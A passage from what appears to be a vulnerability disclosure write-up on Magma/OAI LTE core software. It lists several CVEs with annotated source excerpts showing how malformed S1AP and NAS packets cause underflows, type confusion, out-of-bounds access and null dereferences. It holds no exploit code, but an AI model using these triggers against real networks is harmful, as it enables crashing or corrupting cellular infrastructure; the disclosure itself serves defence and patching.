  <span class="n">decoded</span><span class="o">++</span><span class="p">;</span> 
  <span class="n">CHECK_LENGTH_DECODER</span><span class="p">(</span><span class="n">len</span> <span class="o">-</span> <span class="n">decoded</span><span class="p">,</span> <span class="n">ielen</span><span class="p">);</span>
  <span class="c1">// ^ len is unsigned, so `len - decoded` leads to integer underflow</span>
  <span class="n">pdnaddress</span><span class="o">-&gt;</span><span class="n">pdntypevalue</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">buffer</span> <span class="o">+</span> <span class="n">decoded</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0x7</span><span class="p">;</span>
  <span class="c1">// More out-of-bounds accesses...</span>
  <span class="n">decoded</span><span class="o">++</span><span class="p">;</span>

  <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2024-24421</strong> (<strong>VULN-D21</strong>):</p>

<p>An <code class="language-plaintext highlighter-rouge">Initial UE Message</code> S1AP packet containing a NAS payload containing a malformed EMM Attach Request will trigger a buffer overflow.</p>

<p>When <code class="language-plaintext highlighter-rouge">nas_message_decode</code> decodes a packet, it checks its external header. However, the packet may be encrypted, such that the internal header is ESM and is decoded as such, leading to type confusion when the union is later referenced as an EMM packet.</p>

<p><code class="language-plaintext highlighter-rouge">lte/gateway/c/core/oai/tasks/nas/emm/sap/emm_as.cpp</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="n">status_code_e</span> <span class="nf">emm_as_recv</span><span class="p">(</span><span class="n">mme_ue_s1ap_id_t</span> <span class="n">ue_id</span><span class="p">,</span>
                                 <span class="n">tai_t</span> <span class="k">const</span><span class="o">*</span> <span class="n">originating_tai</span><span class="p">,</span>
                                 <span class="n">ecgi_t</span> <span class="k">const</span><span class="o">*</span> <span class="n">originating_ecgi</span><span class="p">,</span> <span class="n">bstring</span> <span class="n">msg</span><span class="p">,</span>
                                 <span class="kt">size_t</span> <span class="n">len</span><span class="p">,</span> <span class="kt">int</span><span class="o">*</span> <span class="n">emm_cause</span><span class="p">,</span>
                                 <span class="n">nas_message_decode_status_t</span><span class="o">*</span> <span class="n">decode_status</span><span class="p">)</span> <span class="p">{</span>

    <span class="c1">// ^ code prior to this method reads the outer header of the packet as being EMM</span>

    <span class="c1">// ...</span>

    <span class="n">decoder_rc</span> <span class="o">=</span>
        <span class="n">nas_message_decode</span><span class="p">(</span><span class="n">msg</span><span class="o">-&gt;</span><span class="n">nas_msg</span><span class="o">-&gt;</span><span class="n">data</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">nas_msg</span><span class="p">,</span> <span class="n">blength</span><span class="p">(</span><span class="n">msg</span><span class="o">-&gt;</span><span class="n">nas_msg</span><span class="p">),</span>
                            <span class="n">emm_security_context</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">decode_status</span><span class="p">);</span>
    <span class="c1">// ^ During decode, the inner payload is decrypted. This may return either an EMM OR an ESM struct.</span>
    <span class="n">bdestroy_wrapper</span><span class="p">(</span><span class="o">&amp;</span><span class="n">msg</span><span class="o">-&gt;</span><span class="n">nas_msg</span><span class="p">);</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">decoder_rc</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">decoder_rc</span> <span class="o">&lt;</span> <span class="n">TLV_FATAL_ERROR</span><span class="p">)</span> <span class="p">{</span>
            <span class="o">*</span><span class="n">emm_cause</span> <span class="o">=</span> <span class="n">EMM_CAUSE_PROTOCOL_ERROR</span><span class="p">;</span>
            <span class="n">OAILOG_FUNC_RETURN</span><span class="p">(</span><span class="n">LOG_NAS_EMM</span><span class="p">,</span> <span class="n">RETURNerror</span><span class="p">);</span>
        <span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">decoder_rc</span> <span class="o">==</span> <span class="n">TLV_MANDATORY_FIELD_NOT_PRESENT</span><span class="p">)</span> <span class="p">{</span>
            <span class="o">*</span><span class="n">emm_cause</span> <span class="o">=</span> <span class="n">EMM_CAUSE_INVALID_MANDATORY_INFO</span><span class="p">;</span>
            <span class="n">REQUIREMENT_3GPP_24_301</span><span class="p">(</span><span class="n">R10_5_5_1_2_7_b__1</span><span class="p">);</span>
        <span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">decoder_rc</span> <span class="o">==</span> <span class="n">TLV_UNEXPECTED_IEI</span><span class="p">)</span> <span class="p">{</span>
            <span class="o">*</span><span class="n">emm_cause</span> <span class="o">=</span> <span class="n">EMM_CAUSE_IE_NOT_IMPLEMENTED</span><span class="p">;</span>
            <span class="n">REQUIREMENT_3GPP_24_301</span><span class="p">(</span><span class="n">R10_5_5_1_2_7_b__2</span><span class="p">);</span>
        <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
            <span class="o">*</span><span class="n">emm_cause</span> <span class="o">=</span> <span class="n">EMM_CAUSE_PROTOCOL_ERROR</span><span class="p">;</span>
            <span class="n">REQUIREMENT_3GPP_24_301</span><span class="p">(</span><span class="n">R10_5_5_1_2_7_b__4</span><span class="p">);</span>
        <span class="p">}</span>
    <span class="p">}</span>

    <span class="c1">// BUGFIX: check for internal header consistency</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">nas_msg</span><span class="p">.</span><span class="n">plain</span><span class="p">.</span><span class="n">emm</span><span class="p">.</span><span class="n">protocol_discriminator</span> <span class="o">!=</span> <span class="n">EPS_MOBILITY_MANAGEMENT_MESSAGE</span><span class="p">)</span> <span class="p">{</span>
        <span class="c1">// The NAS message had external EMM header and internal encrypted ESM header--discard</span>
        <span class="k">return</span> <span class="n">RETURNerror</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="cm">/*
     * Process initial NAS message
     */</span>
    <span class="n">EMM_msg</span><span class="o">*</span> <span class="n">emm_msg</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">nas_msg</span><span class="p">.</span><span class="n">plain</span><span class="p">.</span><span class="n">emm</span><span class="p">;</span>
    <span class="c1">// ^ The (internal) plain message struct is automatically assumed to be EMM. If the payload</span>
    <span class="c1">// specified an inner ESM message, this will incorrectly reinterpret it as an EMM struct.</span>

    <span class="k">switch</span> <span class="p">(</span><span class="n">emm_msg</span><span class="o">-&gt;</span><span class="n">header</span><span class="p">.</span><span class="n">message_type</span><span class="p">)</span> <span class="p">{</span>
        <span class="c1">// ^ Subsequent field accesses will confuse pointers and data fields between EMM/ESM</span>
        <span class="k">case</span> <span class="n">ATTACH_REQUEST</span><span class="p">:</span>
            <span class="c1">// ...</span>
    <span class="p">}</span>
    
    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2024-24423</strong> (<strong>VULN-D22</strong>):</p>

<p>An <code class="language-plaintext highlighter-rouge">Initial UE Message</code> S1AP packet containing a NAS payload containing a malformed ESM Message will trigger a buffer overflow.</p>

<p><code class="language-plaintext highlighter-rouge">lte/gateway/c/core/oai/tasks/nas/ies/EsmMessageContainer.cpp</code>:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">decode_esm_message_container</span><span class="p">(</span><span class="n">EsmMessageContainer</span><span class="o">*</span> <span class="n">esmmessagecontainer</span><span class="p">,</span>
                                 <span class="kt">uint8_t</span> <span class="n">iei</span><span class="p">,</span> <span class="kt">uint8_t</span><span class="o">*</span> <span class="n">buffer</span><span class="p">,</span> <span class="kt">uint32_t</span> <span class="n">len</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">int</span> <span class="n">decoded</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="kt">int</span> <span class="n">decode_result</span><span class="p">;</span>
    <span class="kt">uint16_t</span> <span class="n">ielen</span><span class="p">;</span>

    <span class="n">OAILOG_FUNC_IN</span><span class="p">(</span><span class="n">LOG_NAS_ESM</span><span class="p">);</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">iei</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">CHECK_IEI_DECODER</span><span class="p">(</span><span class="n">iei</span><span class="p">,</span> <span class="o">*</span><span class="n">buffer</span><span class="p">);</span>
        <span class="n">decoded</span><span class="o">++</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="n">DECODE_LENGTH_U16</span><span class="p">(</span><span class="n">buffer</span> <span class="o">+</span> <span class="n">decoded</span><span class="p">,</span> <span class="n">ielen</span><span class="p">,</span> <span class="n">decoded</span><span class="p">);</span>
    <span class="c1">// ^ doesn't check `decoded` len before pulling bytes</span>
    <span class="n">CHECK_LENGTH_DECODER</span><span class="p">(</span><span class="n">len</span> <span class="o">-</span> <span class="n">decoded</span><span class="p">,</span> <span class="n">ielen</span><span class="p">);</span>
    <span class="c1">// ^ if len &lt; 2, this check is useless due to unsigned integer underflow</span>

    <span class="k">if</span> <span class="p">((</span><span class="n">decode_result</span> <span class="o">=</span> <span class="n">decode_bstring</span><span class="p">(</span><span class="n">esmmessagecontainer</span><span class="p">,</span> <span class="n">ielen</span><span class="p">,</span>
                                        <span class="n">buffer</span> <span class="o">+</span> <span class="n">decoded</span><span class="p">,</span> <span class="n">len</span> <span class="o">-</span> <span class="n">decoded</span><span class="p">))</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="c1">// ^ out-of-bounds read, up to attacker-specified `ielen` bytes</span>
        <span class="n">OAILOG_FUNC_RETURN</span><span class="p">(</span><span class="n">LOG_NAS_ESM</span><span class="p">,</span> <span class="n">decode_result</span><span class="p">);</span>
    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
        <span class="n">decoded</span> <span class="o">+=</span> <span class="n">decode_result</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="n">OAILOG_FUNC_RETURN</span><span class="p">(</span><span class="n">LOG_NAS_ESM</span><span class="p">,</span> <span class="n">decoded</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2024-24417</strong> (<strong>VULN-D23</strong>):</p>

<p>An <code class="language-plaintext highlighter-rouge">Initial UE Message</code> S1AP packet containing a NAS payload containing a malformed Protocol Configuration Options field will trigger an out-of-bounds read.</p>

<p><code class="language-plaintext highlighter-rouge">lte/gateway/c/core/oai/lib/3gpp/3gpp_24.008_sm_ies.c</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">decode_protocol_configuration_options</span><span class="p">(</span>
        <span class="n">protocol_configuration_options_t</span><span class="o">*</span> <span class="n">protocolconfigurationoptions</span><span class="p">,</span>
        <span class="k">const</span> <span class="kt">uint8_t</span><span class="o">*</span> <span class="k">const</span> <span class="n">buffer</span><span class="p">,</span> <span class="k">const</span> <span class="kt">uint32_t</span> <span class="n">len</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">int</span> <span class="n">decoded</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="kt">int</span> <span class="n">decode_result</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

    <span class="k">if</span> <span class="p">(((</span><span class="o">*</span><span class="p">(</span><span class="n">buffer</span> <span class="o">+</span> <span class="n">decoded</span><span class="p">)</span> <span class="o">&gt;&gt;</span> <span class="mi">7</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0x1</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">return</span> <span class="n">TLV_VALUE_DOESNT_MATCH</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="cm">/*
    * Bits 7 to 4 of octet 3 are spare, read as 0
    */</span>
    <span class="k">if</span> <span class="p">(((</span><span class="o">*</span><span class="p">(</span><span class="n">buffer</span> <span class="o">+</span> <span class="n">decoded</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0x78</span><span class="p">)</span> <span class="o">&gt;&gt;</span> <span class="mi">3</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">return</span> <span class="n">TLV_VALUE_DOESNT_MATCH</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="n">protocolconfigurationoptions</span><span class="o">-&gt;</span><span class="n">configuration_protocol</span> <span class="o">=</span>
        <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="n">buffer</span> <span class="o">+</span> <span class="n">decoded</span><span class="p">)</span> <span class="o">&gt;&gt;</span> <span class="mi">1</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0x7</span><span class="p">;</span>
    <span class="c1">// ^ access buffer without checking length fields--out-of-bound read when len == 0</span>
    <span class="n">decoded</span><span class="o">++</span><span class="p">;</span>

    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2024-24422</strong> (<strong>VULN-D24</strong>):</p>

<p>An <code class="language-plaintext highlighter-rouge">Initial UE Message</code> S1AP packet containing a NAS payload containing a malformed Protocol Configuration Options field will trigger a write buffer overflow.</p>

<p><code class="language-plaintext highlighter-rouge">lte/gateway/c/core/oai/lib/3gpp/3gpp_24.008_sm_ies.c</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">decode_protocol_configuration_options</span><span class="p">(</span>
        <span class="n">protocol_configuration_options_t</span><span class="o">*</span> <span class="n">protocolconfigurationoptions</span><span class="p">,</span>
        <span class="k">const</span> <span class="kt">uint8_t</span><span class="o">*</span> <span class="k">const</span> <span class="n">buffer</span><span class="p">,</span> <span class="k">const</span> <span class="kt">uint32_t</span> <span class="n">len</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// ...</span>

    <span class="k">while</span> <span class="p">(</span><span class="mi">3</span> <span class="o">&lt;=</span> <span class="p">((</span><span class="kt">int32_t</span><span class="p">)</span><span class="n">len</span> <span class="o">-</span> <span class="p">(</span><span class="kt">int32_t</span><span class="p">)</span><span class="n">decoded</span><span class="p">))</span> <span class="p">{</span>
        <span class="n">DECODE_U16</span><span class="p">(</span>
            <span class="n">buffer</span> <span class="o">+</span> <span class="n">decoded</span><span class="p">,</span>
            <span class="n">protocolconfigurationoptions</span>
                <span class="o">-&gt;</span><span class="n">protocol_or_container_ids</span><span class="p">[</span><span class="n">protocolconfigurationoptions</span>
                                                <span class="o">-&gt;</span><span class="n">num_protocol_or_container_id</span><span class="p">]</span>
                <span class="p">.</span><span class="n">id</span><span class="p">,</span>
            <span class="n">decoded</span><span class="p">);</span>
        <span class="c1">// ^ this will write beyond the end of `protocol_or_container_ids[]`...</span>
        <span class="n">DECODE_U8</span><span class="p">(</span>
            <span class="n">buffer</span> <span class="o">+</span> <span class="n">decoded</span><span class="p">,</span>
            <span class="n">protocolconfigurationoptions</span>
                <span class="o">-&gt;</span><span class="n">protocol_or_container_ids</span><span class="p">[</span><span class="n">protocolconfigurationoptions</span>
                                                <span class="o">-&gt;</span><span class="n">num_protocol_or_container_id</span><span class="p">]</span>
                <span class="p">.</span><span class="n">length</span><span class="p">,</span>
            <span class="n">decoded</span><span class="p">);</span>

        <span class="c1">// ...</span>

        <span class="n">protocolconfigurationoptions</span><span class="o">-&gt;</span><span class="n">num_protocol_or_container_id</span> <span class="o">+=</span> <span class="mi">1</span><span class="p">;</span>
        <span class="c1">// ^ ... if this iterates more than 30 times.</span>
    <span class="p">}</span>

    <span class="k">return</span> <span class="n">decoded</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<h3 id="s1ap-protocol-vulnerabilities">S1AP Protocol Vulnerabilities</h3>

<p><strong>CVE-2023-37025</strong> (<strong>VULN-D02</strong>):</p>

<p>A malformed “Reset” S1AP packet missing a <code class="language-plaintext highlighter-rouge">Reset Type</code> field will cause Magma/OAI due to a null pointer dereference.</p>

<p><code class="language-plaintext highlighter-rouge">lte/gateway/c/core/oai/tasks/s1ap/s1ap_mme_handlers.cpp</code>:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">status_code_e</span> <span class="nf">s1ap_mme_handle_erab_setup_response</span><span class="p">(</span>
        <span class="n">oai</span><span class="o">::</span><span class="n">S1apState</span><span class="o">*</span> <span class="n">state</span><span class="p">,</span> <span class="k">const</span> <span class="n">sctp_assoc_id_t</span> <span class="n">assoc_id</span><span class="p">,</span>
        <span class="k">const</span> <span class="n">sctp_stream_id_t</span> <span class="n">stream</span><span class="p">,</span> <span class="n">S1ap_S1AP_PDU_t</span><span class="o">*</span> <span class="n">pdu</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// ...</span>

    <span class="n">S1AP_FIND_PROTOCOLIE_BY_ID</span><span class="p">(</span><span class="n">S1ap_ResetIEs_t</span><span class="p">,</span> <span class="n">ie</span><span class="p">,</span> <span class="n">container</span><span class="p">,</span>
                                <span class="n">S1ap_ProtocolIE_ID_id_ResetType</span><span class="p">,</span> <span class="nb">true</span><span class="p">);</span>
    <span class="c1">// ^ ie assigned null pointer if ResetType field not present</span>

    <span class="n">S1ap_ResetType_t</span><span class="o">*</span> <span class="n">resetType</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">ie</span><span class="o">-&gt;</span><span class="n">value</span><span class="p">.</span><span class="n">choice</span><span class="p">.</span><span class="n">ResetType</span><span class="p">;</span>
    <span class="c1">// ^ Null dereference on ie</span>
    <span class="k">switch</span> <span class="p">(</span><span class="n">resetType</span><span class="o">-&gt;</span><span class="n">present</span><span class="p">)</span> <span class="p">{</span>
        <span class="c1">// ...</span>

    <span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2023-37026</strong> (<strong>VULN-D03</strong>):</p>

<p>A malformed <code class="language-plaintext highlighter-rouge">E-RAB Release Response</code> S1AP packet missing a required <code class="language-plaintext highlighter-rouge">MME_UE_S1AP_ID</code> field will cause Magma/OAI to crash due to a null pointer dereference.</p>

<p><code class="language-plaintext highlighter-rouge">lte/gateway/c/core/oai/tasks/s1ap/s1ap_mme_handlers.cpp</code>:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">status_code_e</span> <span class="nf">s1ap_mme_handle_erab_rel_response</span><span class="p">(</span><span class="n">oai</span><span class="o">::</span><span class="n">S1apState</span><span class="o">*</span> <span class="n">state</span><span class="p">,</span>
                                                <span class="k">const</span> <span class="n">sctp_assoc_id_t</span> <span class="n">assoc_id</span><span class="p">,</span>
                                                <span class="k">const</span> <span class="n">sctp_stream_id_t</span> <span class="n">stream</span><span class="p">,</span>
                                                <span class="n">S1ap_S1AP_PDU_t</span><span class="o">*</span> <span class="n">pdu</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// ...</span>

    <span class="n">S1AP_FIND_PROTOCOLIE_BY_ID</span><span class="p">(</span><span class="n">S1ap_E_RABReleaseResponseIEs_t</span><span class="p">,</span> <span class="n">ie</span><span class="p">,</span> <span class="n">container</span><span class="p">,</span>
                            <span class="n">S1ap_ProtocolIE_ID_id_MME_UE_S1AP_ID</span><span class="p">,</span> <span class="nb">true</span><span class="p">);</span>
    <span class="c1">// ^ ie assigned null pointer if MME_UE_S1AP_ID field not present</span>
    <span class="n">mme_ue_s1ap_id</span> <span class="o">=</span> <span class="n">ie</span><span class="o">-&gt;</span><span class="n">value</span><span class="p">.</span><span class="n">choice</span><span class="p">.</span><span class="n">MME_UE_S1AP_ID</span><span class="p">;</span>
    <span class="c1">// ^ Null dereference on ie</span>

    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2023-37027</strong> (<strong>VULN-D04</strong>):</p>

<p>A malformed <code class="language-plaintext highlighter-rouge">E-RAB Modification Indication</code> S1AP packet missing a required <code class="language-plaintext highlighter-rouge">MME_UE_S1AP_ID</code> field will cause Magma/OAI to crash due to a null pointer dereference.</p>

<p><code class="language-plaintext highlighter-rouge">lte/gateway/c/core/oai/tasks/s1ap/s1ap_mme_handlers.cpp</code>:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">status_code_e</span> <span class="nf">s1ap_mme_handle_erab_modification_indication</span><span class="p">(</span>
        <span class="n">oai</span><span class="o">::</span><span class="n">S1apState</span><span class="o">*</span> <span class="n">state</span><span class="p">,</span> <span class="k">const</span> <span class="n">sctp_assoc_id_t</span> <span class="n">assoc_id</span><span class="p">,</span>
        <span class="k">const</span> <span class="n">sctp_stream_id_t</span> <span class="n">stream</span><span class="p">,</span> <span class="n">S1ap_S1AP_PDU_t</span><span class="o">*</span> <span class="n">pdu</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// ...</span>

    <span class="n">S1AP_FIND_PROTOCOLIE_BY_ID</span><span class="p">(</span><span class="n">S1ap_E_RABModificationIndicationIEs_t</span><span class="p">,</span> <span class="n">ie</span><span class="p">,</span>
                         <span class="n">container</span><span class="p">,</span> <span class="n">S1ap_ProtocolIE_ID_id_MME_UE_S1AP_ID</span><span class="p">,</span>
                         <span class="nb">true</span><span class="p">);</span>
    <span class="c1">// ^ ie assigned null pointer if MME_UE_S1AP_ID field not present</span>
    <span class="n">mme_ue_s1ap_id</span> <span class="o">=</span> <span class="n">ie</span><span class="o">-&gt;</span><span class="n">value</span><span class="p">.</span><span class="n">choice</span><span class="p">.</span><span class="n">MME_UE_S1AP_ID</span><span class="p">;</span>
    <span class="c1">// ^ Null dereference on ie</span>

    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2023-37028</strong> (<strong>VULN-D05</strong>):</p>

<p>A malformed <code class="language-plaintext highlighter-rouge">E-RAB Modification Indication</code> S1AP packet missing a required <code class="language-plaintext highlighter-rouge">eNB_UE_S1AP_ID</code> field will cause Magma/OAI to crash due to a null pointer dereference.</p>

<p><code class="language-plaintext highlighter-rouge">lte/gateway/c/core/oai/tasks/s1ap/s1ap_mme_handlers.cpp</code>:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">status_code_e</span> <span class="nf">s1ap_mme_handle_erab_modification_indication</span><span class="p">(</span>
        <span class="n">oai</span><span class="o">::</span><span class="n">S1apState</span><span class="o">*</span> <span class="n">state</span><span class="p">,</span> <span class="k">const</span> <span class="n">sctp_assoc_id_t</span> <span class="n">assoc_id</span><span class="p">,</span>
        <span class="k">const</span> <span class="n">sctp_stream_id_t</span> <span class="n">stream</span><span class="p">,</span> <span class="n">S1ap_S1AP_PDU_t</span><span class="o">*</span> <span class="n">pdu</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// ...</span>

    <span class="n">S1AP_FIND_PROTOCOLIE_BY_ID</span><span class="p">(</span><span class="n">S1ap_E_RABModificationIndicationIEs_t</span><span class="p">,</span> <span class="n">ie</span><span class="p">,</span>
                            <span class="n">container</span><span class="p">,</span> <span class="n">S1ap_ProtocolIE_ID_id_eNB_UE_S1AP_ID</span><span class="p">,</span>
                            <span class="nb">true</span><span class="p">);</span>
    <span class="c1">// ^ ie assigned null pointer if eNB_UE_S1AP_ID field not present</span>
    <span class="n">enb_ue_s1ap_id</span> <span class="o">=</span>
        <span class="p">(</span><span class="n">enb_ue_s1ap_id_t</span><span class="p">)(</span><span class="n">ie</span><span class="o">-&gt;</span><span class="n">value</span><span class="p">.</span><span class="n">choice</span><span class="p">.</span><span class="n">ENB_UE_S1AP_ID</span> <span class="o">&amp;</span> <span class="n">ENB_UE_S1AP_ID_MASK</span><span class="p">);</span>
    <span class="c1">// ^ Null dereference on ie</span>

    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2023-37030</strong> (<strong>VULN-D07</strong>):</p>

<p>A malformed <code class="language-plaintext highlighter-rouge">Initial UE Message</code> S1AP packet missing a <code class="language-plaintext highlighter-rouge">ENB-UE-S1AP-ID</code> field will cause Magma/OAI to crash due to a null pointer dereference.</p>

<p><code class="language-plaintext highlighter-rouge">lte/gateway/c/core/oai/tasks/s1ap/s1ap_mme_nas_procedures.cpp</code>:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">status_code_e</span> <span class="nf">s1ap_mme_handle_initial_ue_message</span><span class="p">(</span><span class="n">oai</span><span class="o">::</span><span class="n">S1apState</span><span class="o">*</span> <span class="n">state</span><span class="p">,</span>
                                                 <span class="k">const</span> <span class="n">sctp_assoc_id_t</span> <span class="n">assoc_id</span><span class="p">,</span>
                                                 <span class="k">const</span> <span class="n">sctp_stream_id_t</span> <span class="n">stream</span><span class="p">,</span>
                                                 <span class="n">S1ap_S1AP_PDU_t</span><span class="o">*</span> <span class="n">pdu</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// ...</span>

    <span class="n">S1AP_FIND_PROTOCOLIE_BY_ID</span><span class="p">(</span><span class="n">S1ap_InitialUEMessage_IEs_t</span><span class="p">,</span> <span class="n">ie</span><span class="p">,</span> <span class="n">container</span><span class="p">,</span>
                            <span class="n">S1ap_ProtocolIE_ID_id_eNB_UE_S1AP_ID</span><span class="p">,</span> <span class="nb">true</span><span class="p">);</span>
    <span class="c1">// ^ ie assigned null pointer if eNB_UE_S1AP_ID field not present</span>

    <span class="n">OAILOG_INFO</span><span class="p">(</span>
    <span class="n">LOG_S1AP</span><span class="p">,</span>
    <span class="s">"Received S1AP INITIAL_UE_MESSAGE ENB_UE_S1AP_ID "</span> <span class="n">ENB_UE_S1AP_ID_FMT</span>
    <span class="s">" assoc-id:%d </span><span class="se">\n</span><span class="s">"</span><span class="p">,</span>
    <span class="p">(</span><span class="n">enb_ue_s1ap_id_t</span><span class="p">)</span><span class="n">ie</span><span class="o">-&gt;</span><span class="n">value</span><span class="p">.</span><span class="n">choice</span><span class="p">.</span><span class="n">ENB_UE_S1AP_ID</span><span class="p">,</span> <span class="n">assoc_id</span><span class="p">);</span>
    <span class="c1">// ^ Null dereference on ie</span>

    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2023-37031</strong> (<strong>VULN-D08</strong>):</p>

<p>A malformed <code class="language-plaintext highlighter-rouge">eNB Configuration Transfer</code> S1AP packet missing a required <code class="language-plaintext highlighter-rouge">Target eNB ID</code> field will cause Magma/OAI to crash due to a null pointer dereference.</p>

<p><code class="language-plaintext highlighter-rouge">lte/gateway/c/core/oai/tasks/s1ap/s1ap_mme_handlers.cpp</code>:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">status_code_e</span> <span class="nf">s1ap_mme_handle_enb_configuration_transfer</span><span class="p">(</span>
        <span class="n">oai</span><span class="o">::</span><span class="n">S1apState</span><span class="o">*</span> <span class="n">state</span><span class="p">,</span> <span class="k">const</span> <span class="n">sctp_assoc_id_t</span> <span class="n">assoc_id</span><span class="p">,</span>
        <span class="k">const</span> <span class="n">sctp_stream_id_t</span> <span class="n">stream</span><span class="p">,</span> <span class="n">S1ap_S1AP_PDU_t</span><span class="o">*</span> <span class="n">pdu</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// ...</span>

    <span class="n">S1AP_FIND_PROTOCOLIE_BY_ID</span><span class="p">(</span><span class="n">S1ap_ENBConfigurationTransferIEs_t</span><span class="p">,</span> <span class="n">ie</span><span class="p">,</span> <span class="n">container</span><span class="p">,</span>
                         <span class="n">S1ap_ProtocolIE_ID_id_SONConfigurationTransferECT</span><span class="p">,</span>
                         <span class="nb">false</span><span class="p">);</span>
    <span class="c1">// ^ ie assigned null pointer if SONConfigurationTransferECT field not present</span>

    <span class="c1">// ...</span>

    <span class="n">targeteNB_ID</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">ie</span><span class="o">-&gt;</span><span class="n">value</span><span class="p">.</span><span class="n">choice</span><span class="p">.</span><span class="n">SONConfigurationTransfer</span><span class="p">.</span><span class="n">targeteNB_ID</span><span class="p">;</span>
    <span class="c1">// ^ Null dereference on ie</span>
    
    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2023-37033</strong> (<strong>VULN-D10</strong>):</p>

<p>A malformed “Initial UE Message” S1AP packet missing a <code class="language-plaintext highlighter-rouge">EUTRAN CGI</code> field will cause Magma/OAI to crash due to a null pointer dereference.</p>

<p><code class="language-plaintext highlighter-rouge">lte/gateway/c/core/oai/tasks/s1ap/s1ap_mme_nas_procedures.cpp</code>:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">status_code_e</span> <span class="nf">s1ap_mme_handle_initial_ue_message</span><span class="p">(</span><span class="n">oai</span><span class="o">::</span><span class="n">S1apState</span><span class="o">*</span> <span class="n">state</span><span class="p">,</span>
                                                 <span class="k">const</span> <span class="n">sctp_assoc_id_t</span> <span class="n">assoc_id</span><span class="p">,</span>
                                                 <span class="k">const</span> <span class="n">sctp_stream_id_t</span> <span class="n">stream</span><span class="p">,</span>
                                                 <span class="n">S1ap_S1AP_PDU_t</span><span class="o">*</span> <span class="n">pdu</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// ...</span>

    <span class="n">S1AP_FIND_PROTOCOLIE_BY_ID</span><span class="p">(</span><span class="n">S1ap_InitialUEMessage_IEs_t</span><span class="p">,</span> <span class="n">ie</span><span class="p">,</span> <span class="n">container</span><span class="p">,</span>
                           <span class="n">S1ap_ProtocolIE_ID_id_EUTRAN_CGI</span><span class="p">,</span> <span class="nb">true</span><span class="p">);</span>
    <span class="c1">// ^ ie assigned null pointer if EUTRAN_CGI field not present</span>
